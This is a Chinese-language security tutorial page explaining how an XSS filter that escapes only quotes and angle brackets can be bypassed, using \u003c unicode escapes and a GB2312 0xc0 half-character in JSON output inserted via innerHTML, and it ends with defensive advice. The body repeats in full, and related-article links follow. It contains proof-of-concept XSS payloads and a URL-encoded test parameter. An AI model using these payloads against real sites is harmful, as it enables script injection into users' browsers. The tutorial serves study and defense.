一種新型的繞過XSS防御的方法介紹
發(fā)布時(shí)間:2012-10-19 16:34:36 作者:佚名
我要評(píng)論

大家都知道,普遍的防御XSS攻擊的方法是在后臺(tái)對(duì)以下字符進(jìn)行轉(zhuǎn)義:<、>、’、”,但是經(jīng)過本人的研究發(fā)現(xiàn),在一些特殊場(chǎng)景下,即使對(duì)以上字符進(jìn)行了轉(zhuǎn)義,還是可以執(zhí)行XSS攻擊的。
大家都知道,普遍的防御XSS攻擊的方法是在后臺(tái)對(duì)以下字符進(jìn)行轉(zhuǎn)義:<、>、’、”,但是經(jīng)過本人的研究發(fā)現(xiàn),在一些特殊場(chǎng)景下,即使對(duì)以上字符進(jìn)行了轉(zhuǎn)義,還是可以執(zhí)行XSS攻擊的。
首先看一個(gè)JS的例子:
<script>
var s = "\u003c\u003e";
alert(s);
</script>運(yùn)行這段代碼,結(jié)果顯示如下:
看到這么熟悉的尖括號(hào),大家會(huì)不會(huì)有一些興奮的感覺呢?JS代碼中并沒有出現(xiàn)尖括號(hào),可是運(yùn)行時(shí)卻輸出了尖括號(hào)!??!這意味著:可以通過\u003c和\u003e來(lái)代替<和>??墒窃撊绾卫眠@個(gè)特性來(lái)構(gòu)造XSS攻擊呢?繼續(xù)看一個(gè)例子:
<div id='s'>
test
</div>
<script>
var s = "\u003cimg src=1 onerror=alert(/xss/)\u003e";
document.getElementById('s').innerHTML = s;
</script>運(yùn)行上面代碼,結(jié)果顯示如下:
在沒有尖括號(hào)的情況下,成功實(shí)現(xiàn)了一個(gè)彈框的案例。
現(xiàn)在來(lái)設(shè)想一個(gè)更貼近實(shí)際開發(fā)情況的例子:
(1)假設(shè)某站的首頁(yè):http://www.xxxx.com /main.html,其代碼為:
<div id="test">
aa
</div>
<script>
function callback(obj)
{
document.getElementById("test").innerHTML = obj.name;
}
</script>
<script src=" http://www.victim.com/getcontent"></script>(2)http://www.victim.com/getcontent返回的內(nèi)容格式如下:
callback({"name":"xx"}); 其中name的值是用戶的昵稱。
這個(gè)例子簡(jiǎn)單模擬了異步拉取信息并進(jìn)行顯示的情況。
現(xiàn)在假設(shè)用戶的昵稱為:
\u003cimg src=1 onerror=alert(/xss/)\u003e 那么會(huì)是什么情況呢?
首先getcontent返回的昵稱應(yīng)該是這樣的:
\\u003cimg src=1 onerror=alert(/xss/)\\u003e因?yàn)楹笈_(tái)輸出JSON格式數(shù)據(jù)時(shí),一般都會(huì)在\前面添加轉(zhuǎn)義符進(jìn)行轉(zhuǎn)義。
接著main.html的callback函數(shù)應(yīng)該是等價(jià)于執(zhí)行下面的語(yǔ)句:
document.getElementById("test").innerHTML =" \\u003cimg src=1 onerror=alert(/xss/)\\u003e";顯示的結(jié)果如下:
很遺憾,沒有彈出框。原因是原來(lái)的轉(zhuǎn)義序列\(zhòng)u003c并沒有生效,被添加的轉(zhuǎn)義符轉(zhuǎn)義掉了。
不過這里假設(shè)返回昵稱時(shí)對(duì)\進(jìn)行了轉(zhuǎn)義,但實(shí)際情況下,有時(shí)輸出json格式數(shù)據(jù)時(shí)是沒有對(duì)\進(jìn)行轉(zhuǎn)義的,那樣就會(huì)觸發(fā)漏洞。
對(duì)于有對(duì)\進(jìn)行轉(zhuǎn)義的,這時(shí)就輪到我們強(qiáng)大的半字符出場(chǎng)了。對(duì)于半字符的問題,這里并不打算詳細(xì)講,說(shuō)下結(jié)論:
對(duì)于gb2312編碼," [0xc0]\ "是一個(gè)合法的編碼,顯示為:"繺"。
對(duì)于UTF-8編碼,在IE6下,上述組合也是一個(gè)合法的編碼。
其中[0xc0]表示一個(gè)十六進(jìn)制的值。
現(xiàn)在修改昵稱為:
[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e,getcontent輸出:
callback({"name":"[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e"});由于半字符[0xc0]的存在,在解釋上述JS代碼時(shí),等價(jià)于:
callback({"name":"繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e"});可見,轉(zhuǎn)義序列\(zhòng)u003c終于又回來(lái)了,顯示結(jié)果如下:
上述昵稱中并沒有出現(xiàn)單雙引號(hào),尖括號(hào),所以如果后臺(tái)只是對(duì)單雙引號(hào)和尖括號(hào)進(jìn)行轉(zhuǎn)義,那么是可以被繞過防御的。
總結(jié):
(1)利用場(chǎng)景:輸出內(nèi)容在JS代碼里,并且被動(dòng)態(tài)顯示出來(lái)(如使用innerHTML)。
(2)測(cè)試方法:截獲請(qǐng)求包,修改參數(shù)為:
%c0\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\u003e(3)防御方法:后臺(tái)對(duì)半字符,反斜杠,單雙引號(hào),尖括號(hào)進(jìn)行處理。
一切皆有可能,跨站無(wú)處不在,發(fā)揮偶們強(qiáng)大的智慧來(lái)挖掘吧
首先看一個(gè)JS的例子:
<script>
var s = "\u003c\u003e";
alert(s);
</script>運(yùn)行這段代碼,結(jié)果顯示如下:
看到這么熟悉的尖括號(hào),大家會(huì)不會(huì)有一些興奮的感覺呢?JS代碼中并沒有出現(xiàn)尖括號(hào),可是運(yùn)行時(shí)卻輸出了尖括號(hào)!??!這意味著:可以通過\u003c和\u003e來(lái)代替<和>??墒窃撊绾卫眠@個(gè)特性來(lái)構(gòu)造XSS攻擊呢?繼續(xù)看一個(gè)例子:
<div id='s'>
test
</div>
<script>
var s = "\u003cimg src=1 onerror=alert(/xss/)\u003e";
document.getElementById('s').innerHTML = s;
</script>運(yùn)行上面代碼,結(jié)果顯示如下:
在沒有尖括號(hào)的情況下,成功實(shí)現(xiàn)了一個(gè)彈框的案例。
現(xiàn)在來(lái)設(shè)想一個(gè)更貼近實(shí)際開發(fā)情況的例子:
(1)假設(shè)某站的首頁(yè):http://www.xxxx.com /main.html,其代碼為:
<div id="test">
aa
</div>
<script>
function callback(obj)
{
document.getElementById("test").innerHTML = obj.name;
}
</script>
<script src=" http://www.victim.com/getcontent"></script>(2)http://www.victim.com/getcontent返回的內(nèi)容格式如下:
callback({"name":"xx"}); 其中name的值是用戶的昵稱。
這個(gè)例子簡(jiǎn)單模擬了異步拉取信息并進(jìn)行顯示的情況。
現(xiàn)在假設(shè)用戶的昵稱為:
\u003cimg src=1 onerror=alert(/xss/)\u003e 那么會(huì)是什么情況呢?
首先getcontent返回的昵稱應(yīng)該是這樣的:
\\u003cimg src=1 onerror=alert(/xss/)\\u003e因?yàn)楹笈_(tái)輸出JSON格式數(shù)據(jù)時(shí),一般都會(huì)在\前面添加轉(zhuǎn)義符進(jìn)行轉(zhuǎn)義。
接著main.html的callback函數(shù)應(yīng)該是等價(jià)于執(zhí)行下面的語(yǔ)句:
document.getElementById("test").innerHTML =" \\u003cimg src=1 onerror=alert(/xss/)\\u003e";顯示的結(jié)果如下:
很遺憾,沒有彈出框。原因是原來(lái)的轉(zhuǎn)義序列\(zhòng)u003c并沒有生效,被添加的轉(zhuǎn)義符轉(zhuǎn)義掉了。
不過這里假設(shè)返回昵稱時(shí)對(duì)\進(jìn)行了轉(zhuǎn)義,但實(shí)際情況下,有時(shí)輸出json格式數(shù)據(jù)時(shí)是沒有對(duì)\進(jìn)行轉(zhuǎn)義的,那樣就會(huì)觸發(fā)漏洞。
對(duì)于有對(duì)\進(jìn)行轉(zhuǎn)義的,這時(shí)就輪到我們強(qiáng)大的半字符出場(chǎng)了。對(duì)于半字符的問題,這里并不打算詳細(xì)講,說(shuō)下結(jié)論:
對(duì)于gb2312編碼," [0xc0]\ "是一個(gè)合法的編碼,顯示為:"繺"。
對(duì)于UTF-8編碼,在IE6下,上述組合也是一個(gè)合法的編碼。
其中[0xc0]表示一個(gè)十六進(jìn)制的值。
現(xiàn)在修改昵稱為:
[0xc0]\u003cimg src=1 onerror=alert(/xss/) [0xc0]\u003e,getcontent輸出:
callback({"name":"[0xc0]\\u003cimg src=1 onerror=alert(/xss/) [0xc0]\\u003e"});由于半字符[0xc0]的存在,在解釋上述JS代碼時(shí),等價(jià)于:
callback({"name":"繺\u003cimg src=1 onerror=alert(/xss/) 繺\u003e"});可見,轉(zhuǎn)義序列\(zhòng)u003c終于又回來(lái)了,顯示結(jié)果如下:
上述昵稱中并沒有出現(xiàn)單雙引號(hào),尖括號(hào),所以如果后臺(tái)只是對(duì)單雙引號(hào)和尖括號(hào)進(jìn)行轉(zhuǎn)義,那么是可以被繞過防御的。
總結(jié):
(1)利用場(chǎng)景:輸出內(nèi)容在JS代碼里,并且被動(dòng)態(tài)顯示出來(lái)(如使用innerHTML)。
(2)測(cè)試方法:截獲請(qǐng)求包,修改參數(shù)為:
%c0\u003cimg+src%3d1+onerror%3dalert(/xss/)+%c0\u003e(3)防御方法:后臺(tái)對(duì)半字符,反斜杠,單雙引號(hào),尖括號(hào)進(jìn)行處理。
一切皆有可能,跨站無(wú)處不在,發(fā)揮偶們強(qiáng)大的智慧來(lái)挖掘吧
相關(guān)文章
封UDP的服務(wù)器真的打不了么?封UDP、封海外服務(wù)器
很多游戲服務(wù)器租用的時(shí)候會(huì)出現(xiàn)一些封UDP的字眼,網(wǎng)上一些文章也說(shuō)UDP協(xié)議不可靠!為什么要封UDP呢?既然不可靠,為什么有些人還要使用它呢?今天與你們分享一下UDP,希望2024-05-07魔獸世界服務(wù)器被DDoS攻擊怎么辦?DDoS攻擊防御方法
魔獸世界服務(wù)器被攻擊在目前來(lái)說(shuō)也是比較常見的,同行競(jìng)爭(zhēng)激烈,在官服開放時(shí)也遇到過DDOS攻擊,要是飛飛沒記錯(cuò)是在22年9月14日,從剛開始的身份驗(yàn)證服務(wù)器出現(xiàn)問題,到確2023-07-17分享五大免費(fèi)企業(yè)網(wǎng)絡(luò)入侵檢測(cè)(IDS)工具
這篇文章主要分享一下五大免費(fèi)企業(yè)網(wǎng)絡(luò)入侵檢測(cè)(IDS)工具,當(dāng)前企業(yè)對(duì)于網(wǎng)絡(luò)安全越來(lái)越重視,那么后期可能就需要大家多多關(guān)注一些安全工具的使用于檢測(cè)2019-12-01網(wǎng)絡(luò)安全基礎(chǔ)之網(wǎng)絡(luò)協(xié)議與安全威脅的關(guān)系介紹
網(wǎng)絡(luò)協(xié)議是什么呢?網(wǎng)絡(luò)協(xié)議是網(wǎng)絡(luò)中計(jì)算機(jī)或設(shè)備之間進(jìn)行通信的一系列規(guī)則集合。本文中小編介紹的是網(wǎng)絡(luò)協(xié)議和安全威脅的關(guān)系,需要的朋友不妨閱讀本文了解一下2019-04-02DDoS攻擊原理是什么?DDoS攻擊原理及防護(hù)措施介紹
DDoS攻擊是由DoS攻擊轉(zhuǎn)化的,這項(xiàng)攻擊的原理以及表現(xiàn)形式是怎樣的呢?要如何的進(jìn)行防御呢?本文中將會(huì)有詳細(xì)的介紹,需要的朋友不妨閱讀本文進(jìn)行參考2019-01-15基于Web攻擊的方式發(fā)現(xiàn)并攻擊物聯(lián)網(wǎng)設(shè)備介紹
本文中介紹的是基于Web攻擊的方式發(fā)現(xiàn)并攻擊物聯(lián)網(wǎng)設(shè)備,感興趣的朋友不妨閱讀本文進(jìn)行了解2019-01-11為何黑客要挾制路由器DNS 用戶該怎樣實(shí)時(shí)發(fā)覺和防備方法
起首說(shuō)說(shuō)挾制路由器是什么意思,路由器挾制平日指的是,開啟了無(wú)線網(wǎng)絡(luò)功效的無(wú)線路由器,攻擊者經(jīng)由過程破解無(wú)線暗碼銜接上無(wú)線網(wǎng)后,再登錄路由治理界面來(lái)節(jié)制全部無(wú)線網(wǎng)2018-05-16大勢(shì)至共享文件監(jiān)控軟件、共享文件權(quán)限管理軟件主控端與客戶端的連接設(shè)
這篇文章主要介紹了大勢(shì)至共享文件監(jiān)控軟件、共享文件權(quán)限管理軟件主控端與客戶端的連接設(shè)置方法詳解,,小編覺得還是挺不錯(cuò)的,具有一定借鑒價(jià)值,下面就來(lái)和小編一起看看2018-01-25詳細(xì)介紹sd卡加密軟件的選擇以及給sd卡設(shè)置密碼、給sd卡加密
這篇文章主要介紹了詳細(xì)介紹sd卡加密軟件的選擇以及給sd卡設(shè)置密碼、給sd卡加密,如何保護(hù)sd卡文件的安全,如何給SD卡設(shè)置密碼、如何給SD卡加密,下面就跟小編一起來(lái)看看吧2018-01-19server2008共享設(shè)置、服務(wù)器共享文件設(shè)置、服務(wù)器設(shè)置共享文件夾的方法
這篇文章主要介紹了server2008共享設(shè)置、服務(wù)器共享文件設(shè)置、服務(wù)器設(shè)置共享文件夾的方法詳細(xì)介紹,保護(hù)服務(wù)器共享文件設(shè)置訪問權(quán)限,讓每個(gè)部門只訪問自己的共享文件等,2018-01-19